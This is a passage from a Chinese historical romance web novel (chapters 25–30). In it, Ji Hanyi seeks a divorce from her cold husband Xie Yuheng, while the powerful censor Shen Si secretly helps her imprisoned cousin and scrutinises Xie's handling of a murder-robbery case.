容春忙点头:“少夫人放心,奴婢不会乱说的。”
第25章 就当还了对她的亏欠
谢府内,大夫人林氏的正屋里,依旧热闹。
谢锦还未走,李明柔亦在屋子里。
谢玉恒坐在椅上,一只手撑在额头上,眼神里微微有些疲惫,又揉了揉眉心朝着谢锦道:“大姐放心,我说不会帮她,便不会帮她的。”
谢锦听了谢玉恒这准话,这才放心下来朝着谢玉恒道:“你可记住,她不管用什么手段来求你,你可不能心软。”
“倒不是让你见死不救,可那顾家如今成什么样子了?你开了这一次头,往后那顾家的烂摊子不全落你身上了?”
“你姐夫也说过,顾浔这罪就看刑部怎么定,北镇抚司的只负责拷问,罪名是大是小也与镇抚司没干系,与我们也没关系。”
“况且那顾家与我们谢家又有什么大关系?不过是含漪外祖家的,她既嫁来了谢家,便不该总想着外祖家的事,这不是没将心思放在你身上?”
谢玉恒皱着眉头,心里头却无端有些烦躁,想起昨夜季含漪与他提起和离的事情,她一夜未回主屋,早上走的时候也没见过她。
他知晓一些季含漪的脾气,她从来温顺温和,即便他责怪她,她大多的时候也不过是争执两句,过后便不提起了。
很多时候她都顺着他的意思,没有这样闹过的时候。
他想起昨夜季含漪与他说和离时的眼神,她眼里是难得的坚持,不像是在赌气。
他忽想起,她嫁给他的三年里,他从未去看过她母亲,这会儿竟让他生了补偿的心思,或许这回帮了她,让她别闹了也好。
好好的平静日子,他并不喜欢她这样胡闹。
谢锦看说完话,谢玉恒一直没开口,忍不住又道:“她到现在还没回来,是与你闹开了?”
“你是不知道,今日她舅母过来在母亲面前好一通闹,那顾家的人没什么教养,你可别心软。”
“含漪要闹就让她闹去,她还能闹翻天了不成。”
上头林氏也开了口:“这事你大姐说的没错,随她闹去,免得将来给你惹出麻烦事。”
李眀柔在旁做出担心的模样问:“可是不帮表嫂家的,表嫂与表哥生气了怎么办?对姨母也怨怪起来了呢?”
林氏脸色发沉:“她有什么本事怨怪谁?三年连个孩子都怀不上,没让玉恒休了她都是好的。”
这时候外头婆子进来传话,说季含漪已经回来了。
林氏又冷着脸看着谢玉恒开口:“我瞧她现在是越发没有规矩了。”
“我念着她病了,没让她来我这儿问安让她养着,结果人家往外头去,这时候才回来,也不念着你回了伺候你。”
李眀柔在旁听的有些畅快,上回季含漪与她说的话让她至今耿耿于怀。
季含漪有什么底气可怜她?明明最可怜的是她。
她虽是谢家长房儿媳,可除了老太太,谁喜欢她?
谢玉恒忽然站起来,打断林氏还要再出口的话,低声道:“我先回去。”
林氏看谢玉恒听到季含漪回来了就说要回去,不由就道:“你回去好好与她说了这事也行,让她死了这条心。”
谢玉恒抿着唇没说话,心里难得为季含漪的事情烦的心情紧绷,转身就走了出去。
今夜的雪格外大,好似比那夜的雪都还要大些。
寒风刺骨。
随从撑伞为谢玉恒挡雪,谢玉恒踏进雪中,不由想起来那夜被困在马车里的季含漪来。
其实那天季含漪是不想要去的。
好似她的不对,都是从那天她回来后开始的。
谢玉恒叹息,若是季含漪当真是为了那夜的事情依旧怪他,那他这回叫姐夫帮了她表哥,就当还了对她的亏欠。
这头季含漪回了院子,院门口的嬷嬷就跟在季含漪的身边说谢玉恒回来过,又被叫去林氏那里的事情。
又说了句谢锦还没走,问她要不要去看看。
从前谢锦来,季含漪总是要去跟着陪在一起的,免得失了礼。
季含漪知道谢玉恒被叫去要说什么,无非是说今日她舅母来的事情,谢家人商量大事从不叫她去跟前的,尽管他们面上表现不出来什么,但那种无形之中将你当作外人的感觉却能够清晰感觉得到。
季含漪听罢只是点点头,没要过去的意思,只是稍微顿了下又问嬷嬷:“我下午让你送去大爷书房里的东西送去了么?”
嬷嬷连忙答话:“已经给了守在门口的来顺手上了,他说会放在大爷的书桌上。”
来顺是专门伺候在谢玉恒前院书房的下人,交到他手上,是能到谢玉恒手上的。
按照往常来说,近了年关,衙门里要清查案卷,谢玉恒会比平日里更忙碌一些,多半又同往年一样连着大半月宿在书房。
季含漪放了心,点点头让嬷嬷去吩咐丫头准备热水沐浴,又往主屋去。
她想也不过再等几日,等谢玉恒写了和离书便好了。
泡在热水里的时候,身上暖起来,季含漪闭着眼睛想,也不知道表哥什么时候会放回来,但还是要给舅母写一封信去,这些日先别往北镇抚司那儿去打点了,免得出了什么差错。
热气氤氲,她趴在浴桶边缘又没来由想起沈肆那双冷淡的眼睛来,忙又睁开眼睛。
她不知道为何会忽然想起沈肆来,时隔好几年再见他,季含漪更加深刻的明白两人之间的云泥之别。
或许从来他们之间都是没有什么交集的。
其实沈肆的冷与谢玉恒的冷是全不一样的。
沈肆的冷是他高高在上,无情的俯瞰任何人,是远拒人千里之外,高贵不可触及的冷。
谢玉恒的冷是冷清,性情少语,但对外接物是温和有礼的。
季含漪叫自己别想,穿戴好从浴房出来的时候,却又见着了谢玉恒在。
内室里早已升起了温暖的炭火,谢玉恒坐在贵妃榻上,冷清的眼神正往她身上看过来。
第26章 我只想要和离
季含漪看到谢玉恒的时候微微一顿,她原以为今夜是见不到谢玉恒的。
年底他忙碌,几乎不会留在主屋。
再有李明柔常往他书房去,他不该是留在书房等着李明柔么。
现在两人早就相顾无言,从前是他没话与她说,如今她也没话与她说了。
她去一边的罗汉榻上坐下,容春和另一个丫头站在她身后为她擦拭湿润的长发。
季含漪手里捧着暖手炉,因为还要去后屋,所以身上穿着整齐。
她没看谢玉恒,只低头看着放在小坑桌上的棋盘。
这间主屋内其实谢玉恒很少回来,常常只有她一人,她平日里不怎么喜欢出院子,消遣的时候便自己与自己下棋,所以小坑桌上总会摆着一盘残棋。
曾经谢玉恒回来时,季含漪也会叫谢玉恒与她一起下,但谢玉恒没有答应过,她叫了两三回,就再也没叫了。
如今季含漪倒是庆幸还有这盘棋,也缓了尴尬。
谢玉恒静静看着季含漪,看了她半晌。
柔和的光线下,她纤白的手指落在棋盘上,长发如瀑,低垂的眉眼冷清,侧脸安静温柔,还有一股缱绻的妩媚。
像是漫着香气的靡靡春景,连她肩上的那一缕落发都能引人遐想。
从前谢玉恒不大喜欢季含漪这种柔媚的相貌,但也不得不承认,她很容易让人沉迷。
屋子里安静的唯有落子的细细声响,谢玉恒以前喜欢安静,但也是第一次觉得太过于安静。
好似本不该是这样。
他与季含漪是夫妻,本是该有话说的。
不管是什么话,总之不该是现在如此。
从前季含漪也总是主动与他说话。
谢玉恒抿了抿唇,起身过去坐在季含漪的对面,他低头看她面前的棋盘,不由一怔。
这是一副很难破解的死活棋残局,他没想到季含漪竟会下这样的棋局。
他原以为她下的不过是妇人消遣的简单棋局而已。
谢玉恒细细凝思,自己拿起一颗棋子下入棋盘中。
季含漪微微蹙眉看着谢玉恒的动作,她与谢玉恒如今就如这盘棋,她希望是她一人在走这艰难棋局,并不希望谢玉恒参与进来。
她早已将谢玉恒排除在外。
悬在半空要落下的棋子收了回去,季含漪回头问容春:“头发干了么?”
容春忙道:“还有会儿。”
季含漪点点头,拿起旁边的热茶,抿了一口,再也没碰过棋子。
一室静谧,谢玉恒看向季含漪的侧脸,又垂眼看了眼残棋,知晓她不会落子了。
他抿了抿唇,低声道:“你表哥的事情,不是我不愿帮你,此事本违反律法,不管大小,他始终犯错了。”
季含漪垂眸点头,她没觉得谢玉恒说的话有错,表哥也的确犯了错的,帮不帮,都是他的自由。
所以一开始她知道他的态度后,就没有想过要找他。
茶盏的热气扑往她脸庞,她低声道:“大爷不必再提这件事,我也从未想过要与你提起这件事的。”
“其实我一句也没与你提起过的,今日我舅母的事情你们也别放在心上,我舅母也不会再来了。”
说着季含漪一顿,看向谢玉恒:“我表哥的事情,不管什么结局,与你,与谢家,都没有任何关联,也都不是谁没有做好。”
明明是他期盼的懂事的话,谢玉恒却在这瞬间觉得如鲠在喉。
他甚至宁愿季含漪这时候与他哭闹一场,而不是看她这样平静无波的表情。
谢玉恒深吸一口气,又道:“如果你希望我帮你,我可以去与我姐夫说,尽量让你表哥出来。”
季含漪微微不解了一瞬,不明白谢玉恒怎么会说这样的话。
她侧头看向谢玉恒摇头道:“这件事不需要大爷与谢家插手。”
说着季含漪抿了下唇,低声道:“我始终都没想与你提起,你不必烦恼。”
谢玉恒顿住。
他紧皱眉头看着季含漪,忽然这一瞬间,他觉得她好似已经脱离了他可掌控的范围。
她发觉或许他也没来没有了解过她。
他甚至不明白季含漪在这一瞬间在想什么。
季含漪看谢玉恒没说话,她也的确不想与他再说这些并无关要紧的对话。
他们的对话从来干涩又沉闷,就如她留在谢家往后会过的一生。
没有什么太大的委屈,天大的不甘,就是一辈子都不会高兴。
季含漪放下手里的茶盏问谢玉恒:“大爷今日去过书房了么?”
谢玉恒紧紧看着季含漪。
季含漪看着面前的屏风,那个她不喜欢的纹样,她不喜欢的样式,看了三年。
她低声道:“大爷待会儿应该还要去书房忙一会儿,别忘了看我给大爷的东西。”
今夜谢玉恒还回来与她说表哥的事情,应该是还没看到那封和离书的。
不过也不要紧,她提醒他早做打算,两人心平气和的分开。
谢玉恒心里头猛然涌出一股浊气,他忽的抬手扫落棋盘上的棋子,棋子啪啪落地,惊起不小的声音。
身后擦头发的另外一个丫头吓了一跳,连手上的动作也忘了。
谢玉恒一下从罗汉榻上站起来,眼里闪烁着失望的怒意:“你就非得要这样闹下去?”
“临近年节,你能不能消停下来?!”
季含漪静静看着地上被扫落的棋子,这好似是谢玉恒这样冷清的人第一次发这样的脾气。
但她不明白,他究竟在生气什么。
她不解的看着谢玉恒,语气一如他从前一样波澜不惊:“我自始至终没有闹过。”
“我深思熟虑下的决定,为什么你一定觉得我在闹脾气?”
容春听了这话,忙叫屋内的丫头先都退下去。
谢玉恒不可置信的后退一步,眼神紧紧看着季含漪:“你是真的要和离……”
季含漪并不犹豫的点头:“我也觉得我们早点将和离书送去官府更好。”
“你母亲那里我还没有说,毕竟你还没有答应我。”
“今晚你要是答应了,我明日一早收拾了东西离开,至于和离的事情,便由你与其他的人……”
季含漪的话还没说完,又有一声巨大碎瓷声响起。
温热的茶水四溅,落到季含漪白色的绣鞋上。
第27章 梦里全是她
这一幕很突然。
季含漪有些错愕的抬头看向谢玉恒,却见到谢玉恒脸色铁青冰冷,紧皱着眉头:“和离不是你说和离就和离的。”
说完谢玉恒冷着脸看向季含漪:“我要是不愿意,你就还是我的妻。”
“我希望你好好想清楚,这不是儿戏。”
谢玉恒说完这话就转身走了出去,他的步子很急,掀开帘子的声音也很大。
外头响起婆子询问的声音,很快又噤了声。
季含漪没什么神情,她该说的话都已经与谢玉恒说清了,她虽然不明白谢玉恒为何会这样大的反应,但她想要的结局也不会放弃。
她没留在主屋,回了后屋写了信,让明日一早就给舅母送去。
那头谢玉恒一去书房,就看到了桌上安安静静放着的纸张。
安顺不认得字,忙过来说这是大少夫人今早送来的。
谢玉恒让人都出去,低头看着静静放在桌上的纸张,上头醒目的和离两字刺痛了他的眼睛。
他不明白到底怎么了,为什么季含漪一心要和离。
他到底有哪一点对不住她的。
即便她在意李眀柔,他也说过,明年春就会为李眀柔定下亲事,她还有什么不满的。
心里那股抒发不出来的气让他将桌上的和离书揉成了一团,又重重扔在地上。
她明明身后已经没有多少亲人了,她也明明知道和离后她举步维艰,她也依旧把和离书呈到了他的面前。
最让他无力的是,她一心要走,他好似没有任何可以紧抓住她的理由。
曾经对这段自小定下的亲事不是没有反感,但看见她后,他也并没有不喜欢她。
到底是为什么。
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一夜的风雪过去,早上到处都裹了一层素白。
沈肆坐在床沿上,低头神情疲惫。
昏昏烛光下,他里衣大敞,闭上眼睛又是那妖娆的不像话的身子被他压着,白净的皮肤从湿透的衣裳里映出来,小荷尖尖与饱满尽数映在他的眼底。
那柔软的冰凉手指无意识的往他衣裳里钻,似是要将他的七魂六魄都吸进去。
沈肆身体发紧,深吸一口气,许多年清心寡欲的沉寂,偏偏仅见她一眼,便想的发疼。
那些旖旎香艳的梦里,全都是那一张脸。
清贵的面容仰起,紧绷的吸气声里抗拒不了的放纵想下去,外头却传来文安问候的声音。
沈肆低低闷哼了一声,隔了许久才让外面伺候的人进来。
屋内进来的丫头都不敢抬头,悄无声息的按部就班的做着手上的事情。
沈肆的日常很是规律,每日何时晨起,何时去夫人那里问安,何时用膳出门,几乎都是那几个时辰。
像是今日这般晚了一刻的时候,几乎没有。
积了一夜的雪早已早早被扫的干净,沈肆到了母亲那里的时候,才刚进暖屋,沈夫人便忙朝着沈肆问:“我听说昨夜有姑娘来找你了?”
沈夫人身边伺候着好几个嬷嬷,虽说一直养尊处优,保养的极好,但到底也已经显出些苍老来了。
老首辅一生只有沈夫人一个妻子,即便沈夫人年至中年也仅有一女,老首辅也没有想过再纳妾。
沈肆是沈夫人快四十岁才怀上的,沈夫人对沈肆的疼爱不少,但也实在不明白,怎么就是这么个冷清的性子。
难不成是她日日在佛祖面前求子求多了,佛祖便给她一个不食烟火的清冷佛子了么。
沈夫人叹息,早已不知晓拿自己这儿子怎么办了,只盼着自己活着的时候还能抱上孙子。
她听到门房的人来说昨夜有女子去找自己儿子,自己儿子还让人家进去了的事,心里头还是高兴的。
这可是头一回。
也不管是不是偷偷摸摸,或者是其他的,她帮着儿子上门提亲就是,紧赶慢赶的都要将人给风光娶进来。
沈肆对母亲知晓这事并不奇怪,就是门前路过一只母猫,母亲都要上心两分。
他言简意赅:“母亲不用多想,那女子再不会见了。”
沈夫人听了这话心里就发紧,忙看着沈肆责怪道:“如何说这样的话?”
“人家姑娘夜里来找你,你也肯见人家,怎么往后就不见了?”
“你既肯见人家,定然心里也上心人家一些的,怎么就不……”
沈夫人的话还没说完,就被沈肆冷淡的打断:“母亲,我与那女子毫无关系,还请母亲勿要再提起。"
“我还有些要事,先退下了。”
沈肆说完头也不回的就走,沈夫人喊都喊不住。
很快连人影子都看不到了。
沈夫人叹息,不由对身边婆子道:“从前他年少时,对季家那姑娘不一样,我是知晓的。”
“可惜人家早早定了亲,我也总不好拆散人家早订好的姻缘不是?”
“后来那季家姑娘落了水,他又那么着急的去救。”
“我就说既然从水里救了人家姑娘,也看了人身子,我也有了由头为他提这事,让季家的那桩亲事算了。”
“可他却来与我说不喜欢季家姑娘,救人家只是顺手,我都看不懂他。”
“不喜欢还去救人家?”
“这是他的性子?”
说着沈夫人头疼的撑着额头:“如今这么些年了,人家季家姑娘都成亲几年了,他还跟没开窍般,我都不明白他心里到底在想什么。”
“到底又喜欢什么样的。”
婆子忙弯腰安慰道:"夫人别急,侯爷或许只是没遇着喜欢的,等遇见了喜欢的,说不定还主动往您跟前提呢。”
沈夫人摇头扶额:“我怕是见不到了。”
婆子又忙劝着:“侯爷样样有主意,夫人现在要紧的是养好身子,总会见到五爷成家的。”
沈夫人揉着眉心,无奈道:“如今他不管瞧上谁,我都没话说,就怕再等个十年八年的,他也没瞧上喜欢的。”
“过了年关马上都二十四了,也不知道他还要拖到什么时候。”
婆子也不知道怎么劝了,其他房的爷,有的孙子都抱上了,就侯爷,通房都没一个,就连院子里伺候的丫头都只那几人。
之前夫人特意安排进去的貌美丫头,没人能呆过三日的,哭着求着都说再不去了,说去了能死人。
当真是没法子。
第28章 都察院见沈肆
季含漪早上依旧没往婆母那儿去。
她坐在案桌后,安安静静的画画。
吃了几日的药,好在是好了许多,咳嗽也好了。
中午的时候她收到了顾府来的信,信上说洵表哥已经被从北镇抚司给放出来了,让季含漪不用担心。二舅母更来了信感激她,说表哥伤的严重,不然要亲自来的。
季含漪没想沈肆会这么快的就让北镇抚司的放了人。
又想如他现在的地位,的确也是一件十分容易的事情,甚至连让他费心的地步都不需要。
另一头谢玉恒上午左右想了想,还是难得为了季含漪的事情去找了姐夫路元,没成想路元却说一早就将顾浔给放了。
谢玉恒一顿,细问原因。
路元拉着谢玉恒进了屋,颇有些神秘的对着谢玉恒道:“没成想那顾浔背后还有大靠山。”
谢玉恒皱眉:“顾家如今还能有什么靠山。”
路元摇头:"这我就不知道了。"
"这事其实还差点害了我。"
说着路元与谢玉恒说了被沈肆叫去了都察院衙门的事情,又道:“后头我回来后,又仔细想了想这事,叫我奇怪的是,不说左都御史居然会注意到我手下小旗的那点小事,居然还认识顾浔。”
“沈侯爷那出身,身边都是皇亲国戚和高门贵胄,怎么会注意到一个小小的顾浔?”
“顾浔只是国子监的荫监,虽说成绩出众,但也不值得沈侯爷这样的人注意,还特意提起他的案子来。”
“我总觉得沈侯爷在为了顾浔的事情敲打我,又觉得好似哪里不对。”
谢玉恒皱眉看向路元:“那为什么放人?”
路元见到谢玉恒这样问,神情就愈加晦暗了,他压低声音朝着谢玉恒低声道:“其实昨日被沈侯爷叫去后,我就打算放了顾浔的。”
“能让沈侯爷认得顾浔,我哪儿敢再关着人?”
“本来我就打算今日就放人的,哪想一大早指挥使居然往我这儿来了,第一句话便是让我放了顾浔。”
“指挥使脸色很是严肃,我哪还敢不放?”
谢玉恒皱眉问:“可说了原因?”
路元摇头:“指挥使什么都没说,只叫我放人。”
“能让指挥使都亲口过来说放人的,那人定然是不简单的。”
谢玉恒缓缓靠在了椅背上。
路元朝他弯腰压过来问:“你不妨回去问问你妻子,难道顾家背后还有什么大靠山不成?”
谢玉恒看着路元:"要是有另外的靠山,顾家二夫人也不会来谢家了。"
路元啧了一声,恍然明白过来:“也是,这事真蹊跷的很。”
谢玉恒抿抿唇,不知道怎么就想到了昨夜季含漪与他说的,不需要他和谢家帮忙他表哥的事情。
他心里不由升起个猜测来,难道是季含漪找了人?
但这猜测很快被他扫去。
季含漪嫁他三年,几乎很少出门,即便跟随母亲去宴会,也都是些后宅女子,她能认识什么人,认识的人能大到请得动锦衣卫指挥使。
再有季家出事后,季家从前那些关系都避之不及,关系几乎都断了,他不信季含漪有这样的本事。
如今听到顾浔被放出来,谢玉恒心里也不知道是什么心情。
路元叹息的声音响起:"当初我来找你,说顾浔好歹与你有些联系,问你帮不帮,你不愿帮。"
“如今阴差阳错的,谁知道人后头有大人物呢。”
谢玉恒指尖打在膝盖上,又起身道:“我下午还要往都察院去一趟,先回去准备会儿。”
路元抬头:“去都察院做什么?”
谢玉恒低低道:"入了年关,皇上要大理寺与都察院一起考究监察刑部这两年积下的强盗案与盗窃案,这事两月前就开始了,我负责此事,如今已整理好卷宗,下午拿去与左都御史大人过目,等确定无误了再呈给圣上。"
路元点点头,也没有多问,让谢玉恒先走。
下午谢玉恒往都察院去的时候,心里还有些紧张。
虽说大理寺与都察院因为些案子常来往,但这其实这还是他第一回见都察院的堂上官。
他去了都察院大堂等着,与他一起核查刑部案件的的监察御史刘大人与他说沈大人还在御史房休息,让他一起去二堂外门候着等传唤。
也不知道要等多久,等了会刘大人朝着谢玉恒说起话来:“还是谢大人有艳福,娶了如花似玉的美娇娘,身边又有红袖添香的解语花,这其人之福也只有谢大人才有了。”
谢玉恒听了这话,立马皱眉道:“刘大人还请勿要说这些话,谢某只有一妻,何来的旁人。”
刘大人脸上了然的笑了笑,朝着谢玉恒低声道:“那回夜里,我出城办案急,在城门口见着谢大人抱着一位美人共骑一匹马上,你抱着她举止亲密,你还说没这回事?”
说着他又笑着拍拍谢玉恒的肩膀:“不过有件事你可得谢我,那晚我骑马往前,就撞上你家夫人还被困在雪里,她身边的丫头来拦我,说帮忙去谢府传个话,可我有公务,哪儿能顾上,还是我到了驿站,叫人回去喊街道房的人来清雪,说出城办公务,不然你只知道抱着你的解语花走,你那美貌的娇妻在雪里怕是要熬出一身病来。”
说完刘大人看着谢玉恒啧啧道:“你那嫡妻,我妻子见了都总说是她瞧过的最美的女子了,我虽是无缘见,但那美名我可听说过的,你也真是有福气,可惜我没有你这好皮囊好相貌。”
“不过你也太厚此薄彼了些,你回去后你嫡妻可与你闹了?”
谢玉恒听得浑身僵硬,脑中已经是一片空白。
他呆呆看着脚下,早不知该如何回答。
刘大人见谢玉恒不说话,又推了推他:“不过闲聊,我又不要你什么谢礼,怎么就不说话了。”
谢玉恒只觉得喉头艰涩,正要说话解释时,又见身边刘大人慌张问候的声音,跟着往后一看,吓了一跳,那不是左都御史大人,沈大人么。
连忙跟着一起躬身问候御史大人。
他低着头,甚至不敢抬头多看一眼,因为他感觉到头顶一股莫名的冷意,压的他快要跪下了。
第29章 她究竟喜欢他什么
谢玉恒觉得他该是没有得罪这位都御史大人的,可为什么明明什么都没做,却生了一股畏惧忐忑。
沈肆低头眯着眼看着谢玉恒,眼里危险的滚动着情绪。
这的确是张俊美的好皮囊。
他不发一言,从两人身边走过,谢玉恒这才敢抬头。
旁边刘大人也惊魂未定,刚才也不知道沈大人在后面听了多久了,他直擦冷汗,拉着旁边还呆呆的谢玉恒赶紧进二堂去。
进了二堂,谢玉恒才见到了那位传言里异常尊贵的左都御史。
只见沈肆一身紫色朝服,神情疏冷,高坐在堂上,身边站着一位御史副官,高华面容仿佛不近人情的冷佛,叫人看了生畏,只觉得高不可攀。
谢玉恒不敢多看一眼,又想到中午时姐夫说的话,总觉得这样身份的人,怎么会知晓顾浔的。
御史副官让谢玉恒呈上卷宗来,谢玉恒才如梦初醒般的连忙拿着卷宗低头呈上去。
沈肆将目光放在谢玉恒身上,淡淡的目光里不含任何情绪,但多留下的一眼,足以让谢玉恒倍感压力。
手上的卷宗被身边御史副官拿去呈去了沈肆面前,谢玉恒站在一旁,等着沈肆随时发问。
这些强盗案与盗窃案,多是些疑难难以追捕的,或是证据不足,造成了遗留案。
他们监察的也是监察有没有径释不奏,或沉没不追捕,还有不推窃盗三犯和有脱真犯立功的嫌疑。
静静翻页的声音响起,谢玉恒心里头也有点忐忑,生怕出错。
也不知过了多久,久到谢玉恒都站得有些酸了,翻页声顿住。
这二堂内处处肃穆,沈肆在传言里也是个严谨严苛到极致的人,这顿住的一声,真叫谢玉恒心里头有点慌张。
沈肆将目光放在谢玉恒身上,指尖点在册页上,谢玉恒不知道怎么的,心里头就是一紧。
他感觉到了一股审视的视线,那视线他觉得意味不明,却让他觉得自己做错了什么事。
低沉又冷淡的声音响起:“谢寺正,石林县一年多前的盗案,贼人杀了一家五口人,邻里指认了凶手,却在县衙被打了五十大板打死了,所以成了悬案,这件案子没问题?”
谢玉恒后背生了层冷汗,忙深躬解释道:“下官翻阅这件案子的卷宗,也打听过,那邻里与指认的人素有积怨,不合许久,所以有诬告之嫌。”
“石林县令本是想打他板子警示他说实话,也没想到打死了人,下官觉得这桩案子,石林县令虽有过失,但也是情理之中,无意打死人,事后也给了抚恤丧葬银子,也安抚了家属。”
沈肆冷笑一声:“你的意思是,因为有积怨,所以他指认的人就必不可能是真正的盗贼了?”
谢玉恒额头冒了冷汗,这话该怎么答。
若说是绝对不是,他又有什么证据。
若说是,就怕万一翻案了,他的过失就大了。
这件案子是他经手核查,也仔细在刑部翻阅了卷宗,他还找了分巡石林县的刑部科道官仔细问了这件案子,当时说的是一家失手推了另一家的儿子入水淹死,这仇有些大,这些年一直不对付,多半是诬告,他也就信了。
这会儿左都御史这么一问起来,他又忐忑不敢答。
但都到这时候了,他若是说不知晓,被呈报上去也要被参失责,这时候只能硬着头皮道:“下官走访过经手案子的官员,具觉得应是诬告,再有这件案子再没有人见过盗匪,应该是件悬案。”
沈肆淡淡看着谢玉恒,在自己的面前弯着腰,眼神忐忑游离,额上还有细汗,稍施压迫,便似顶不住了。
这是季含漪当初喜欢的人。
是季含漪如今的夫君。
为了另外一个女人,将她抛弃在雪里的男人。
这样的一个人,沈肆想,她究竟喜欢他什么。
顾浔那么小的一桩事,她都求不动她的枕边人,却求到他这里来。
沈肆唇边含了一抹讽刺的讥笑,又淡淡道:“既然谢寺正觉得本案没有问题,本官先搁置下,但为求严谨,本官会派人去石林县核查此案。”
“至于结果如何,若真是如谢寺正所说,本官也会呈报圣上,谢寺正核查得力,将来想也定有大好前程。”
谢玉恒听到这话,却半分喜悦也没有。
其实这件案子一共死了六人,算是件大案了,但证据不足,死无对证,也无从考究,就算那邻居说的是真,可人死了,如何辨真伪。
这件案子本就该是悬案,他却没想到沈肆还会再查。
这就像是一把悬在脖子上的刀,万一刀落下怎么办。
他心里忐忑,却不敢这时候反驳一句。
站在谢玉恒身边的刘御史听了这番话,只觉得庆幸,幸好核查这件案子的不是自己。
能让左都御史大人提出质疑的,那这件案子多半有些问题,这谢玉恒还不知他们大人的行事严谨,一桩冤案都不会放过,更别说这件案子明显有纰漏。
一来是被指认的那户人一面之词如何证明是真的,二来是那指认的邻居身康体健如何五十大板就死了。
三来仅仅因为结怨,就说诬告,那石林县令居然还信了,还打指认的人板子,本就有问题。
再有,谢玉恒常在大理寺核理卷宗,没见过用刑,五十板子远不让人致死,再有堂上还有条规矩,见血而止,但那些皂吏早练就了打人的功夫,板板都是内伤,就是不出血。
都察院常办案,对这些手段门清,恐怕这件案子并不简单,只怕是官民勾结在了一起,硬生生造了两桩冤案出来,不怪大人上心,若是他负责核查此案,也会觉得不对。
沈肆又看了眼谢玉恒,合上谢玉恒整理出来的卷宗,扔回到他手上:“余下的再细细核对,无误了再拿来。”
谢玉恒浑浑噩噩走出二堂的时候,只觉得腿都有些软。
不知道怎么的,就觉得要出事。
都察院二堂内,沈肆接过刘御史手上的卷宗,卷宗未打开,沈肆的眼里已冰凉。
他斜斜看着刘御史,冷笑一声:“你倒是心思都在这些消息上了。”
刘御史听了这话,心里头就是一凉。
刚才打发时辰与谢玉恒闲聊的那几句话,没想到真被大人听到了。
第30章 她那稍软的性子……
都察院内,谁不知晓都御史大人最是严苛,对手下也管束的紧。
自己半点不沾女色也罢了,连累着整个都察院的都要修身养性,就是纳个妾室都要小心翼翼偷偷摸摸的,生怕惹着堂上大人的不喜。
刘御史心里委屈冤枉,也半点不敢犟,连忙跪下认错。
沈肆淡淡看了一眼跪在面前的刘御史,沉默了良久,又吐出口气。
季含漪的事情又与他什么干系。
她早成了谢家妇。
只是她那稍软的性子……
抬手揉了揉眉心,沈肆打断思绪,摆手让刘御史先退下,又叫亲信佥都御史王术进来。
石林县的案子必然是有问题的。
隐匿在其间的问题或许不小,死了六人,必然要上报至州府郴州,乃至两广都督府,但都督府也未细查就上呈给了刑部,竟然连刑部也整理为悬案。
一级一级呈上去,竟无人觉得不对。
他将案子交给了王术,让王术巡按郴州,将这件案子落下帷幕。
季含漪上午本在园子里散心,却又碰着了李明柔。
本是想要避开的,李明柔却过来一脸得意的看着她:“我听说这些日谢哥哥宁愿住在书房也不愿与你住在一处,你是不是很伤心。”
冷气弥漫在阴沉沉的天色下,枝桠光秃秃的透出萧瑟,季含漪手拢着兜风,风帽上的一圈银狐毛围住她旖旎的面容,她看着李眀柔,淡淡含了笑:“我与大爷已经提了和离。”
"或许是太忽然了些,他竟没答应,你能帮我劝劝他也好。"
“毕竟常住在书房里也的确伤身子。”
李眀柔瞪大眼睛看向季含漪:“你说什么?”
“你舍得和谢哥哥和离?”
季含漪抬眸:“你不信也没有关系,和离的文书我就放在大爷前院的书房里,你可以去亲自问一问,也劝劝他早些落款。”
季含漪不轻不重淡淡的两句话,却让李眀柔犹如被雷劈了那样震惊,她看着季含漪云淡风轻的面容,都让她不由的想,季含漪是不是疯了。
她回过神来想要仔细问季含漪的时候,却只能看到她的背影。
她一跺脚,不管是不是真的,晚上问过了谢哥哥不就知道了?
要是谢哥哥真与她和离,她倒是想看看她怎么哭的。
晚上谢玉恒回来,匆匆就直接回自己院里去,不知怎么的,心里就是有一股冲动,想要快些见到季含漪。
今日刘御史的那些话,让他心头现在都还是钝痛的。
他不知道是怎么了,那夜他做决定的时候,明明觉得一切都是这样合理的,可从旁人的口中说出来,竟觉得自己混账。
只是他才刚走近前院,就被母亲叫来的人叫去了母亲那里。
他一进去,长姐就又与他说起了季含漪的不是,母亲也责怪季含漪最近有些没有规矩,不分场合的顶嘴。
谢锦说今日叫季含漪过来说话,她竟然不来,已经愈发未将她放在眼里,让谢玉恒回去教教季含漪规矩。
这些话谢玉恒曾经听了不少,他一直都知晓自己长姐不喜欢含漪,总是觉得含漪做得不够好,总挑那些细小的无伤大雅的毛病。
他从前虽说心里也明白自己姐姐是故意挑刺,但也毕竟是自己姐姐,回去都是不耐烦的叫含漪好好与自己长姐拉近关系,因为他不愿理会这些宅院里细小的烦心事。
如今那些指责季含漪的声音七嘴八舌的再过来,谢玉恒只觉得心里头有一股压制不住的火气喷发。
或许是今日去都察院那事让他心里悬着刀,又或许是今日刘御史的那些话,再或是季含漪那说和离时的坚定眼神,让他没法自己骗自己,季含漪或许是真的想要与他和离。
谢玉恒忽然之间提高了声音出声:“够了!”
谢玉恒这一声吓着了旁边的谢锦,一下子顿住了声,屋内顿时一静。
谢玉恒往母亲和长姐看去,见她们都一脸惊诧的看着他,他心里苦闷丝毫不减,更不知道此刻还要再说什么,又一撩袍子,转身往外走。
谢锦拍着胸脯疑惑:“今日这是怎么了?”
李眀柔看着谢玉恒背影,忙提着裙摆追了出去。
她连斗篷都未披,手炉也未拿,在暗色中一把拉住了谢玉恒的袖子,声音柔弱楚楚:“表哥,我今日听表嫂说她与表哥要和离了?”
“表嫂还说让我来劝劝表哥,是不是表嫂又因为我与表哥闹脾气了?”
说着李眀柔脸上泫然欲泣,寒风吹来,吹红她的脸颊,细声道:“若真是因为我,我跪去表嫂那儿去赔罪吧便是。”
谢玉恒低头看向李眀柔,见着她衣裳单薄,单薄的身子被凉的轻颤,不由解下自己身上的斗篷披在她的身上,低低道:“此事与你无关,你不必多过问。”
又道:“这件事别与母亲提,你这些日也别往你表嫂那里去。”
“你的身子历来不好,先快些回院子休息吧,”
谢玉恒说完要转身,李眀柔却忙紧紧捏着谢玉恒的袖子,她眼眸里含着泪光,沙哑道:“那表嫂真与表哥说了和离了是吗?”
谢玉恒抿唇,皱眉看着李眀柔:“明柔,我不会与你表嫂和离的。”
李眀柔怔了怔,手指微微一松,谢玉恒便已经转身离开。
她愣神站在原地看着谢玉恒离去的背影,她想不明白,明明表哥自小最心疼她,最护着她,长大后也总是偏心她,明明能够感受到表哥是喜欢她的,为什么季含漪主动提出和离了,表哥又不愿和离呢。
